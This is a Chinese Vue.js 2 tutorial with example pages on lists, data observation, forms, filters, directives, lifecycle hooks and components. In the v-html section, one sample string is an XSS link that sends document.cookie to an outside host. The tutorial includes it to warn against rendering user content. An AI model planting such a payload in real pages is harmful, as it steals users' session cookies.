<html><head><meta charset="UTF-8" /><title>key的原理</title><script type="text/javascript" src="../js/vue.js"></script></head><body><div id="root"><!-- 遍历数组 --><h2>人员列表（遍历数组）</h2><button @click.once="add">添加一个老刘</button><ul><li v-for="(p,index) of persons" :key="index">{{p.name}}-{{p.age}}<input type="text"></li></ul></div><script type="text/javascript">Vue.config.productionTip = false; //阻止 vue 在启动时生成生产提示new Vue({el:'#root',data:{persons:[{id:'001',name:'张三',age:18},{id:'002',name:'李四',age:19},{id:'003',name:'王五',age:20}]},methods: {add(){const p = {id:'004',name:'老刘',age:40}this.persons.unshift(p);}},})</script>
</html>

12.3 列表过滤

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>列表过滤</title><script type="text/javascript" src="../js/vue.js"></script></head><body><div id="root"><h2>人员列表</h2><input type="text" placeholder="请输入名字" v-model="keyWord"><ul><li v-for="(p,index) of filPerons" :key="index">{{p.name}}-{{p.age}}-{{p.sex}}</li></ul></div><script type="text/javascript">Vue.config.productionTip = false; //阻止 vue 在启动时生成生产提示//用watch实现//#region /* new Vue({el:'#root',data:{keyWord:'',persons:[{id:'001',name:'马冬梅',age:19,sex:'女'},{id:'002',name:'周冬雨',age:20,sex:'女'},{id:'003',name:'周杰伦',age:21,sex:'男'},{id:'004',name:'温兆伦',age:22,sex:'男'}],filPerons:[]},watch:{keyWord:{immediate:true,handler(val){this.filPerons = this.persons.filter((p)=>{return p.name.indexOf(val) !== -1;})}}}}) *///#endregion//用computed实现new Vue({el:'#root',data:{keyWord:'',persons:[{id:'001',name:'马冬梅',age:19,sex:'女'},{id:'002',name:'周冬雨',age:20,sex:'女'},{id:'003',name:'周杰伦',age:21,sex:'男'},{id:'004',name:'温兆伦',age:22,sex:'男'}]},computed:{filPerons(){return this.persons.filter((p)=>{return p.name.indexOf(this.keyWord) !== -1;})}}}) </script>
</html>

12.4 列表排序

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>列表排序</title><script type="text/javascript" src="../js/vue.js"></script></head><body><div id="root"><h2>人员列表</h2><input type="text" placeholder="请输入名字" v-model="keyWord"><button @click="sortType = 2">年龄升序</button><button @click="sortType = 1">年龄降序</button><button @click="sortType = 0">原顺序</button><ul><li v-for="(p,index) of filPerons" :key="p.id">{{p.name}}-{{p.age}}-{{p.sex}}<input type="text"></li></ul></div><script type="text/javascript">Vue.config.productionTip = false; //阻止 vue 在启动时生成生产提示new Vue({el:'#root',data:{keyWord:'',sortType:0, //0原顺序 1降序 2升序persons:[{id:'001',name:'马冬梅',age:30,sex:'女'},{id:'002',name:'周冬雨',age:31,sex:'女'},{id:'003',name:'周杰伦',age:18,sex:'男'},{id:'004',name:'温兆伦',age:19,sex:'男'}]},computed:{filPerons(){const arr = this.persons.filter((p)=>{return p.name.indexOf(this.keyWord) !== -1;})//判断一下是否需要排序if(this.sortType){arr.sort((p1,p2)=>{return this.sortType === 1 ? p2.age-p1.age : p1.age-p2.age;})}return arr;}}}) </script>
</html>

12.5 Vue 数据监视

12.5.1 更新时的一个问题

this.persons[0] = {id:'001',name:'马老师',age:50,sex:'男'} 更改 data 数据，Vue 不监听，模板不改变

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>更新时的一个问题</title><script type="text/javascript" src="../js/vue.js"></script></head><body><div id="root"><h2>人员列表</h2><button @click="updateMei">更新马冬梅的信息</button><ul><li v-for="(p,index) of persons" :key="p.id">{{p.name}}-{{p.age}}-{{p.sex}}</li></ul></div><script type="text/javascript">Vue.config.productionTip = false; //阻止 vue 在启动时生成生产提示const vm = new Vue({el:'#root',data:{persons:[{id:'001',name:'马冬梅',age:30,sex:'女'},{id:'002',name:'周冬雨',age:31,sex:'女'},{id:'003',name:'周杰伦',age:18,sex:'男'},{id:'004',name:'温兆伦',age:19,sex:'男'}]},methods: {updateMei(){// this.persons[0].name = '马老师'; //奏效// this.persons[0].age = 50; //奏效// this.persons[0].sex = '男'; //奏效// this.persons[0] = {id:'001',name:'马老师',age:50,sex:'男'}; //不奏效this.persons.splice(0,1,{id:'001',name:'马老师',age:50,sex:'男'});}}}) </script>
</html>

12.5.2 模拟一个数据监测

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>Document</title></head><body><script type="text/javascript" >let data = {name:'lemon',address:'北京',}//创建一个监视的实例对象，用于监视data中属性的变化const obs = new Observer(data);console.log(obs);//准备一个vm实例对象let vm = {};vm._data = data = obs;function Observer(obj){//汇总对象中所有的属性形成一个数组const keys = Object.keys(obj);//遍历keys.forEach((k)=>{Object.defineProperty(this,k,{get(){return obj[k];},set(val){console.log(`${k}被改了，我要去解析模板，生成虚拟DOM.....我要开始忙了`);obj[k] = val;}})})}</script></body>
</html>

12.5.3 Vue.set / vm.$set 的使用

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>Vue监测数据改变的原理</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- 准备好一个容器--><div id="root"><h1>学校信息</h1><h2>学校名称：{{school.name}}</h2><h2>学校地址：{{school.address}}</h2><h2>校长是：{{school.leader}}</h2><hr/><h1>学生信息</h1><button @click="addSex">添加一个性别属性，默认值是男</button><h2>姓名：{{student.name}}</h2><h2 v-if="student.sex">性别：{{student.sex}}</h2><h2>年龄：真实{{student.age.rAge}}，对外{{student.age.sAge}}</h2><h2>朋友们</h2><ul><li v-for="(f,index) in student.friends" :key="index">{{f.name}}--{{f.age}}</li></ul></div></body><script type="text/javascript">Vue.config.productionTip = false; //阻止 vue 在启动时生成生产提示const vm = new Vue({el:'#root',data:{school:{name:'lemon',address:'北京',},student:{name:'tom',age:{rAge:40,sAge:29,},friends:[{name:'jerry',age:35},{name:'tony',age:36}]}},methods: {addSex(){// Vue.set(this.student,'sex','男')this.$set(this.student,'sex','男');}}})</script>
</html>

12.5.4 Vue 监测数据改变的原理

Vue 监视数据的原理：

1、vue 会监视 data 中所有层次的数据

2、如何监测对象中的数据？

通过 setter 实现监视，且要在 new Vue 时就传入要监测的数据。
- 对象中后追加的属性，Vue 默认不做响应式处理
- 如需给后添加的属性做响应式，请使用如下API：
  
  Vue.set(target，propertyName/index，value)
  
  vm.$set(target，propertyName/index，value)

3、如何监测数组中的数据？

通过包裹数组更新元素的方法实现，本质就是做了两件事：
- 调用原生对应的方法对数组进行更新。
- 重新解析模板，进而更新页面。

4、在Vue修改数组中的某个元素一定要用如下方法：

使用这些API：push() pop() shift() unshift() splice() sort() reverse()，这几个方法被 Vue 重写了
Vue.set() 或 vm.$set()

特别注意：Vue.set() 和 vm.$set() 不能给 vm 或 vm的根数据对象(data) 添加属性！！！

数据监视—对象

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>Vue监测数据改变的原理_对象</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><div id="root"><h2>学校名称：{{name}}</h2><h2>学校地址：{{address}}</h2></div></body><script type="text/javascript">Vue.config.productionTip = false; //阻止 vue 在启动时生成生产提示const vm = new Vue({el:'#root',data:{name:'lemon',address:'北京',student:{name:'tom',age:{rAge:40,sAge:29,},friends:[{name:'jerry',age:35}]}}})</script>
</html>

数据监视—数组

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>Vue监测数据改变的原理_数组</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><div id="root"><h1>学校信息</h1><h2>学校名称：{{school.name}}</h2><h2>学校地址：{{school.address}}</h2><h2>校长是：{{school.leader}}</h2><hr/><h1>学生信息</h1><button @click="addSex">添加一个性别属性，默认值是男</button><h2>姓名：{{student.name}}</h2><h2 v-if="student.sex">性别：{{student.sex}}</h2><h2>年龄：真实{{student.age.rAge}}，对外{{student.age.sAge}}</h2><h2>爱好</h2><ul><li v-for="(h,index) in student.hobby" :key="index">{{h}}</li></ul><h2>朋友们</h2><ul><li v-for="(f,index) in student.friends" :key="index">{{f.name}}--{{f.age}}</li></ul></div></body><script type="text/javascript">Vue.config.productionTip = false; //阻止 vue 在启动时生成生产提示const vm = new Vue({el:'#root',data:{school:{name:'lemon',address:'北京',},student:{name:'tom',age:{rAge:40,sAge:29,},hobby:['抽烟','喝酒','烫头'],friends:[{name:'jerry',age:35},{name:'tony',age:36}]}},methods: {addSex(){// Vue.set(this.student,'sex','男');this.$set(this.student,'sex','男');}}})</script>
</html>

12.5.5 总结数据监视

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>总结数据监视</title><style>button{margin-top: 10px;}</style><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><div id="root"><h1>学生信息</h1><button @click="student.age++">年龄+1岁</button> <br/><button @click="addSex">添加性别属性，默认值：男</button> <br/><button @click="student.sex = '未知' ">修改性别</button> <br/><button @click="addFriend">在列表首位添加一个朋友</button> <br/><button @click="updateFirstFriendName">修改第一个朋友的名字为：张三</button> <br/><button @click="addHobby">添加一个爱好</button> <br/><button @click="updateHobby">修改第一个爱好为：开车</button> <br/><button @click="removeSmoke">过滤掉爱好中的抽烟</button> <br/><h3>姓名：{{student.name}}</h3><h3>年龄：{{student.age}}</h3><h3 v-if="student.sex">性别：{{student.sex}}</h3><h3>爱好：</h3><ul><li v-for="(h,index) in student.hobby" :key="index">{{h}}</li></ul><h3>朋友们：</h3><ul><li v-for="(f,index) in student.friends" :key="index">{{f.name}}--{{f.age}}</li></ul></div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。const vm = new Vue({el:'#root',data:{student:{name:'tom',age:18,hobby:['抽烟','喝酒','烫头'],friends:[{name:'jerry',age:35},{name:'tony',age:36}]}},methods: {addSex(){// Vue.set(this.student,'sex','男')this.$set(this.student,'sex','男')},addFriend(){this.student.friends.unshift({name:'jack',age:70})},updateFirstFriendName(){this.student.friends[0].name = '张三'},addHobby(){this.student.hobby.push('学习')},updateHobby(){// this.student.hobby.splice(0,1,'开车')// Vue.set(this.student.hobby,0,'开车')this.$set(this.student.hobby,0,'开车')},removeSmoke(){this.student.hobby = this.student.hobby.filter((h)=>{return h !== '抽烟'})}}})</script>
</html>

13 收集表单数据

13.1 收集表单数据

若：<input type="text"/>，则 v-model 收集的是 value 值，用户输入的就是 value 值

若：<input type="radio"/>，则 v-model 收集的是 value 值，且要给标签配置 value 值

若：<input type="checkbox"/>

没有配置 input 的 value 属性，那么收集的就是 checked（勾选 or 未勾选，是布尔值）
配置input的value属性：
- v-model 的初始值是非数组，那么收集的就是 checked（勾选 or 未勾选，是布尔值）
- v-model 的初始值是数组，那么收集的的就是 value 组成的数组

v-model的三个修饰符：

lazy：失去焦点再收集数据
number：输入字符串转为有效的数字
trim：输入首尾空格过滤

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>收集表单数据</title><script type="text/javascript" src="../js/vue.js"></script></head><body><div id="root"><form @submit.prevent="demo">账号：<input type="text" v-model.trim="userInfo.account"> <br/><br/>密码：<input type="password" v-model="userInfo.password"> <br/><br/>年龄：<input type="number" v-model.number="userInfo.age"> <br/><br/>性别：男<input type="radio" name="sex" v-model="userInfo.sex" value="male">女<input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br/><br/>爱好：学习<input type="checkbox" v-model="userInfo.hobby" value="study">打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat"><br/><br/>所属校区<select v-model="userInfo.city"><option value="">请选择校区</option><option value="beijing">北京</option><option value="shanghai">上海</option><option value="shenzhen">深圳</option><option value="wuhan">武汉</option></select><br/><br/>其他信息：<textarea v-model.lazy="userInfo.other"></textarea> <br/><br/><input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.atguigu.com">《用户协议》</a><button>提交</button></form></div></body><script type="text/javascript">Vue.config.productionTip = false;new Vue({el:'#root',data:{userInfo:{account:'',password:'',age:18,sex:'female',hobby:[],city:'beijing',other:'',agree:''}},methods: {demo(){console.log(JSON.stringify(this.userInfo));}}})</script>
</html>

14 过滤器

14.1 定义

对要显示的数据进行特定格式化后再显示（适用于一些简单逻辑的处理）

14.2 语法

1、注册过滤器：Vue.filter(name,callback) 或 new Vue{filters:{}}

2、使用过滤器：{{ xxx | 过滤器名}} 或 v-bind:属性 = "xxx | 过滤器名"

14.3 备注

1、过滤器也可以接收额外参数、多个过滤器也可以串联

2、并没有改变原本的数据，是产生新的对应的数据

处理时间的库：moment 体积较大，dayjs 轻量级

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>过滤器</title><script type="text/javascript" src="../js/vue.js"></script><script type="text/javascript" src="../js/dayjs.min.js"></script></head><body><div id="root"><h2>显示格式化后的时间</h2><!-- 计算属性实现 --><h3>现在是：{{fmtTime}}</h3><!-- methods实现 --><h3>现在是：{{getFmtTime()}}</h3><!-- 过滤器实现 --><h3>现在是：{{time | timeFormater}}</h3><!-- 过滤器实现（传参） --><h3>现在是：{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3><h3 :x="msg | mySlice">lemon</h3></div><div id="root2"><h2>{{msg | mySlice}}</h2></div></body><script type="text/javascript">Vue.config.productionTip = false;//全局过滤器Vue.filter('mySlice',function(value){return value.slice(0,4);})new Vue({el:'#root',data:{time:1621561377603, //时间戳msg:'你好，lemon'},computed: {fmtTime(){return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss');}},methods: {getFmtTime(){return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss');}},//局部过滤器filters:{timeFormater(value,str='YYYY年MM月DD日 HH:mm:ss'){// console.log('@',value);return dayjs(value).format(str);}}})new Vue({el:'#root2',data:{msg:'hello,atguigu!'}})</script>
</html>

15 内置指令

15.1 学过的指令

v-bind：单向绑定解析表达式，可简写为 :xxx
v-model：双向数据绑定
v-for：遍历数组/对象/字符串
v-on：绑定事件监听，可简写为 @xxx
v-if：条件渲染（动态控制节点是否存存在）
v-else：条件渲染（动态控制节点是否存存在）
v-show：条件渲染（动态控制节点是否展示）

15.2 `v-text` 指令

1、作用：向其所在的节点中渲染文本内容

2、与插值语法的区别：v-text 会替换掉节点中的内容，{{xxx}} 则不会

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>v-text指令</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><div id="root"><div>你好，{{name}}</div><div v-text="name"></div><div v-text="str"></div></div></body><script type="text/javascript">Vue.config.productionTip = false; //阻止 vue 在启动时生成生产提示new Vue({el:'#root',data:{name:'lemon',str:'<h3>你好啊！</h3>'}})</script>
</html>

15.3 `v-html` 指令

1、作用：向指定节点中渲染包含 html 结构的内容

2、与插值语法的区别：

v-html 会替换掉节点中所有的内容，{{xxx}} 则不会
v-html 可以识别 html 结构

3、严重注意：v-html 有安全性问题！！！

在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击
一定要在可信的内容上使用 v-html，永不要用在用户提交的内容上

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>v-html指令</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><div id="root"><div>你好，{{name}}</div><div v-html="str"></div><div v-html="str2"></div></div></body><script type="text/javascript">Vue.config.productionTip = false; //阻止 vue 在启动时生成生产提示new Vue({el:'#root',data:{name:'lemon',str:'<h3>你好啊！</h3>',str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了，快来！</a>',}})</script>
</html>

15.4 `v-cloak` 指令

v-cloak指令（没有值）：

本质是一个特殊属性，Vue 实例创建完毕并接管容器后，会删掉 v-cloak 属性
使用 css 配合 v-cloak 可以解决网速慢时页面展示出 {{xxx}} 的问题

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>v-cloak指令</title><style>[v-cloak]{display:none;}</style><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><div id="root"><h2 v-cloak>{{name}}</h2></div><script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script></body><script type="text/javascript">console.log(1)Vue.config.productionTip = false; //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{name:'lemon'}})</script>
</html>

15.5 `v-once` 指令

1、v-once 所在节点在初次动态渲染后，就视为静态内容了

2、以后数据的改变不会引起 v-once 所在结构的更新，可以用于优化性能

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>v-once指令</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><div id="root"><h2 v-once>初始化的n值是:{{n}}</h2><h2>当前的n值是:{{n}}</h2><button @click="n++">点我n+1</button></div></body><script type="text/javascript">Vue.config.productionTip = false; //阻止 vue 在启动时生成生产提示new Vue({el:'#root',data:{n:1}})</script>
</html>

15.6 `v-pre` 指令

1、跳过其所在节点的编译过程

2、可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>v-pre指令</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><div id="root"><h2 v-pre>Vue其实很简单</h2><h2 >当前的n值是:{{n}}</h2><button @click="n++">点我n+1</button></div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{n:1}})</script>
</html>

16 自定义指令

directives 定义语法

16.1 局部指令

new Vue({directives:{指令名 : 配置对象}
})
或
new Vue({directives:{指令名 : 回调函数}
})

16.2 全局指令

Vue.directive(指令名, 配置对象)
或
Vue.directive(指令名, 回调函数)

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>自定义指令</title><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- 需求1：定义一个v-big指令，和v-text功能类似，但会把绑定的数值放大10倍需求2：定义一个v-fbind指令，和v-bind功能类似，但可以让其所绑定的input元素默认获取焦点--><div id="root"><h2>{{name}}</h2><h2>当前的n值是：<span v-text="n"></span> </h2><!-- <h2>放大10倍后的n值是：<span v-big-number="n"></span> </h2> --><h2>放大10倍后的n值是：<span v-big="n"></span> </h2><button @click="n++">点我n+1</button><hr/><input type="text" v-fbind:value="n"></div></body><script type="text/javascript">Vue.config.productionTip = false;//定义全局指令/* Vue.directive('fbind',{//指令与元素成功绑定时（一上来）bind(element,binding){element.value = binding.value},//指令所在元素被插入页面时inserted(element,binding){element.focus()},//指令所在的模板被重新解析时update(element,binding){element.value = binding.value}}) */new Vue({el:'#root',data:{name:'lemon',n:1},directives:{//big函数何时会被调用？1.指令与元素成功绑定时（一上来）  2.指令所在的模板被重新解析时/* 'big-number'(element,binding){// console.log('big')element.innerText = binding.value * 10}, */// 函数写法相当于只有 bind 和 updatebig(element,binding){console.log('big',this) //注意此处的this是window// console.log('big')element.innerText = binding.value * 10;},fbind:{//指令与元素成功绑定时（一上来）bind(element,binding){element.value = binding.value;},//指令所在元素被插入页面时inserted(element,binding){element.focus();},//指令所在的模板被重新解析时update(element,binding){element.value = binding.value;}}}})</script>
</html>

16.3 配置对象中常用的3个回调

1、bind(element, binding) ：指令与元素成功绑定时调用

2、inserted(element, binding) ：指令所在元素被插入页面时调用

3、update(element, binding) ：指令所在模板结构被重新解析时调用

16.4 备注

1、指令定义时不加 v- ，但使用时要加 v-

2、指令名如果是多个单词，要使用 kebab-case 命名方式，需要用引号包起来，不要用 camelCase 命名

3、指令的 this 指向 是window

16.5 回顾一个DOM操作

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>Document</title><style>.demo{background-color: orange;}</style></head><body><button id="btn">点我创建一个输入框</button><script type="text/javascript" >const btn = document.getElementById('btn');btn.onclick = ()=>{const input = document.createElement('input');input.className = 'demo';input.value = 99;input.onclick = ()=>{alert(1)};document.body.appendChild(input);input.focus();// input.parentElement.style.backgroundColor = 'skyblue'console.log(input.parentElement);}</script></body>
</html>

17 生命周期

17.1 引出生命周期

1、又名：生命周期回调函数、生命周期函数、生命周期钩子

2、是什么：Vue 在关键时刻帮我们调用的一些特殊名称的函数

3、生命周期函数的名字不可更改，但函数的具体内容是程序员根据需求编写的

4、生命周期函数中的 this 指向 是 vm 或 组件实例对象

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>引出生命周期</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><div id="root"><h2 v-if="a">你好啊</h2><h2 :style="{opacity}">欢迎学习Vue</h2></div></body><script type="text/javascript">Vue.config.productionTip = false; //阻止 vue 在启动时生成生产提示new Vue({el:'#root',data:{a:false,opacity:1},methods: {},//Vue完成模板的解析并把初始的真实DOM元素放入页面后（挂载完毕）调用mountedmounted(){console.log('mounted',this)setInterval(() => {this.opacity -= 0.01if(this.opacity <= 0) this.opacity = 1;},16)},})//通过外部的定时器实现（不推荐）/* setInterval(() => {vm.opacity -= 0.01if(vm.opacity <= 0) vm.opacity = 1},16) */</script>
</html>

17.2 分析生命周期

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>分析生命周期</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><div id="root" :x="n"><h2 v-text="n"></h2><h2>当前的n值是：{{n}}</h2><button @click="add">点我n+1</button><button @click="bye">点我销毁vm</button></div></body><script type="text/javascript">Vue.config.productionTip = false; //阻止 vue 在启动时生成生产提示new Vue({el:'#root',// template:`//  <div>//       <h2>当前的n值是：{{n}}</h2>//      <button @click="add">点我n+1</button>//  </div>// `,data:{n:1},methods: {add(){console.log('add');this.n++;},bye(){console.log('bye');this.$destroy();}},watch:{n(){console.log('n变了');}},beforeCreate() {console.log('beforeCreate');},created() {console.log('created');},beforeMount() {console.log('beforeMount');},mounted() {console.log('mounted');},beforeUpdate() {console.log('beforeUpdate');},updated() {console.log('updated');},beforeDestroy() {console.log('beforeDestroy');},destroyed() {console.log('destroyed');},})</script>
</html>

17.3 总结生命周期

常用的生命周期钩子

mounted：发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】
beforeDestroy：清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】

关于销毁 Vue 实例

销毁后借助 Vue 开发者工具看不到任何信息
销毁后自定义事件会失效，但原生DOM事件依然有效
一般不会在 beforeDestroy 操作数据，因为即便操作数据，也不会再触发更新流程了

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>引出生命周期</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><div id="root"><h2 :style="{opacity}">欢迎学习Vue</h2><button @click="opacity = 1">透明度设置为1</button><button @click="stop">点我停止变换</button></div></body><script type="text/javascript">Vue.config.productionTip = false; //阻止 vue 在启动时生成生产提示new Vue({el:'#root',data:{opacity:1},methods: {stop(){this.$destroy();}},//Vue完成模板的解析并把初始的真实DOM元素放入页面后（挂载完毕）调用mountedmounted(){console.log('mounted',this);this.timer = setInterval(() => {console.log('setInterval');this.opacity -= 0.01;if(this.opacity <= 0) this.opacity = 1;},16)},beforeDestroy() {clearInterval(this.timer);console.log('vm即将驾鹤西游了');},})</script>
</html>

18 组件化编程

18.1 模块与组件、模块化与组件化

18.1.1 图解

18.1.2 模块与组件

模块

理解：向外提供特定功能的 js 程序，一般就是一个 js 文件
为什么：js 文件很多很复杂
作用：复用、简化 js 的编写，提高 js 运行效率

组件

定义：用来实现局部功能的代码和资源的集合（html/css/js/image…）
为什么：一个界面的功能很复杂
作用：复用编码，简化项目编码，提高运行效率

18.1.3 模块化与组件化

模块化

当应用中的 js 都以模块来编写的，那这个应用就是一个模块化的应用

组件化

当应用中的功能都是多组件的方式来编写的，那这个应用就是一个组件化的应用

18.2 非单文件组件

非单文件组件：一个文件中包含有 n 个组件

单文件组件：一个文件中只包含有 1 个组件

18.2.1 基本使用

Vue中使用组件的三大步骤

1、定义组件

使用 Vue.extend(options) 创建，其中 options 和 new Vue(options) 时传入的 options 几乎一样，但也有点区别
- el 不要写，因为最终所有的组件都要经过一个 vm 的管理，由 vm 中的 el 才决定服务哪个容器
- data 必须写成函数，避免组件被复用时，数据存在引用关系

2、注册组件

局部注册：new Vue() 的时候 options 传入 components 选项
全局注册：Vue.component('组件名',组件)

3、使用组件

编写组件标签如 <school></school>

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>基本使用</title><script type="text/javascript" src="../js/vue.js"></script></head><body><div id="root"><hello></hello><hr><h1>{{msg}}</h1><hr><!-- 第三步：编写组件标签 --><school></school><hr><!-- 第三步：编写组件标签 --><student></student></div><div id="root2"><hello></hello></div></body><script type="text/javascript">Vue.config.productionTip = false;//第一步：创建school组件const school = Vue.extend({template:`<div class="demo"><h2>学校名称：{{schoolName}}</h2><h2>学校地址：{{address}}</h2><button @click="showName">点我提示学校名</button>    </div>`,// el:'#root', //组件定义时，一定不要写el配置项，因为最终所有的组件都要被一个vm管理，由vm决定服务于哪个容器。data(){return {schoolName:'lemon',address:'北京昌平'}},methods: {showName(){alert(this.schoolName);}},})//第一步：创建student组件const student = Vue.extend({template:`<div><h2>学生姓名：{{studentName}}</h2><h2>学生年龄：{{age}}</h2></div>`,data(){return {studentName:'张三',age:18}}})//第一步：创建hello组件const hello = Vue.extend({template:`<div>   <h2>你好啊！{{name}}</h2></div>`,data(){return {name:'Tom'}}})//第二步：全局注册组件Vue.component('hello',hello);//创建vmnew Vue({el:'#root',data:{msg:'你好啊！'},//第二步：注册组件（局部注册）components:{school,student}})new Vue({el:'#root2',})</script>
</html>

18.2.2 组件注意事项

关于组件名

一个单词组成
- 第一种写法（首字母小写）：school
- 第二种写法**（首字母大写）**：School
多个单词组成
- 第一种写法（kebab-case 命名）：my-school
- 第二种写法**（CamelCase 命名）**：MySchool（需要Vue脚手架支持）
备注
- 组件名尽可能回避 HTML 中已有的元素名称，例如：h2、H2都不行
- 可以使用 name 配置项指定组件在开发者工具中呈现的名字

关于组件标签

第一种写法：<school></school>
第二种写法：<school/>（需要 Vue 脚手架支持）
备注：不使用脚手架时，<school/> 会导致后续组件不能渲染

一个简写方式：const school = Vue.extend(options) 可简写为 const school = options ，因为父组件 components 引入的时候会自动创建

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>几个注意点</title><script type="text/javascript" src="../js/vue.js"></script></head><body><div id="root"><h1>{{msg}}</h1><school></school></div></body><script type="text/javascript">Vue.config.productionTip = false;//定义组件const s = Vue.extend({name:'atguigu',template:`<div><h2>学校名称：{{name}}</h2>    <h2>学校地址：{{address}}</h2>    </div>`,data(){return {name:'lemon',address:'北京'}}})new Vue({el:'#root',data:{msg:'欢迎学习Vue!'},components:{school:s}})</script>
</html>

18.2.3 组件的嵌套

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>组件的嵌套</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><div id="root"></div></body><script type="text/javascript">Vue.config.productionTip = false; //阻止 vue 在启动时生成生产提示//定义student组件const student = Vue.extend({name:'student',template:`<div><h2>学生姓名：{{name}}</h2>    <h2>学生年龄：{{age}}</h2>    </div>`,data(){return {name:'lemon',age:18}}})//定义school组件const school = Vue.extend({name:'school',template:`<div><h2>学校名称：{{name}}</h2>  <h2>学校地址：{{address}}</h2>    <student></student></div>`,data(){return {name:'lemon',address:'北京'}},//注册组件（局部）components:{student}})//定义hello组件const hello = Vue.extend({template:`<h1>{{msg}}</h1>`,data(){return {msg:'欢迎来学习！'}}})//定义app组件const app = Vue.extend({template:`<div> <hello></hello><school></school></div>`,components:{school,hello}})//创建vmnew Vue({template:'<app></app>',el:'#root',//注册组件（局部）components:{app}})</script>
</html>

18.2.4 VueComponent

1、school 组件本质是一个名为 VueComponent 的构造函数，且不是程序员定义的，是 Vue.extend 生成的

2、我们只需要写 <school/> 或 <school></school>，Vue 解析时会帮我们创建 school 组件的实例对象，即 Vue 帮我们执行的：new VueComponent(options)

3、特别注意：每次调用 Vue.extend，返回的都是一个全新的 VueComponent ！！！！

4、关于this指向：

组件配置中 data 函数、methods 中的函数、watch 中的函数、computed 中的函数它们的 this 均是**【VueComponent实例对象】**
new Vue(options) 配置中：data 函数、methods 中的函数、watch 中的函数、computed 中的函数它们的 this 均是**【Vue实例对象】**

5、VueComponent 的实例对象，以后简称 vc（也可称之为：组件实例对象）；Vue 的实例对象，以后简称 vm

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>VueComponent</title><script type="text/javascript" src="../js/vue.js"></script></head><body><div id="root"><school></school><hello></hello></div></body><script type="text/javascript">Vue.config.productionTip = false//定义school组件const school = Vue.extend({name:'school',template:`<div><h2>学校名称：{{name}}</h2> <h2>学校地址：{{address}}</h2>    <button @click="showName">点我提示学校名</button></div>`,data(){return {name:'lemon',address:'北京'}},methods: {showName(){console.log('showName',this)}},})const test = Vue.extend({template:`<span>lemon</span>`})//定义hello组件const hello = Vue.extend({template:`<div><h2>{{msg}}</h2><test></test>    </div>`,data(){return {msg:'你好啊！'}},components:{test}})// console.log('@',school)// console.log('#',hello)//创建vmconst vm = new Vue({el:'#root',components:{school,hello}})</script>
</html>

18.2.5 一个重要的内置关系

1、一个重要的内置关系：VueComponent.prototype.__proto__ === Vue.prototype

2、为什么要有这个关系：让组件实例对象（vc）可以访问到 Vue原型上的属性、方法

18.3 单文件组件

School.vue 文件

<template><div class="demo"><h2>学校名称：{{name}}</h2><h2>学校地址：{{address}}</h2><button @click="showName">点我提示学校名</button>   </div>
</template><script>export default {name:'School',data(){return {name:'lemon',address:'北京昌平'}},methods: {showName(){alert(this.name)}},}
</script><style>.demo{background-color: orange;}
</style>

Student.vue 文件

<template><div><h2>学生姓名：{{name}}</h2><h2>学生年龄：{{age}}</h2></div>
</template><script>export default {name:'Student',data(){return {name:'张三',age:18}}}
</script>

App.vue 文件

<template><div><School></School><Student></Student></div>
</template><script>//引入组件import School from './School.vue'import Student from './Student.vue'export default {name:'App',components:{School,Student}}
</script>

main.js 文件

